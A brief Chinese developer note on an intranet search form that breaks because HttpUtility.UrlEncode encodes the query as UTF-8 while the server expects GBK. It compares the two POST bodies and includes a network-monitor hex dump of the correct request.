 在 内部网 搜索 通过,但是问题在于编码: www.yippeesoft.com

 正确的搜索POST数据:好像是直接的十六进制数据
 stext=%CA%A2%B7%C5&imageField.x=22&imageField.y=7

 错误的搜索POST数据: 调用了 HttpUtility.UrlEncode 进行处理
 stext=%e7%9b%9b%e6%94%be&imageField.x=22&imageField.y=7

WIN2003网络监视器数据: www.yippeesoft.com
000001F0  47 43 50 4D 44 43 41 49 0D 0A 0D 0A 73 74 65 78 GCPMDCAI….stex
00000200  74 3D 25 43 41 25 41 32 25 42 37 25 43 35 26 69 t=%CA%A2%B7%C5&i
00000210  6D 61 67 65 46 69 65 6C 64 2E 78 3D 32 32 26 69 mageField.x=22&i
00000220  6D 61 67 65 46 69 65 6C 64 2E 79 3D 37          mageField.y=7    1207

标签:, , , , , , ,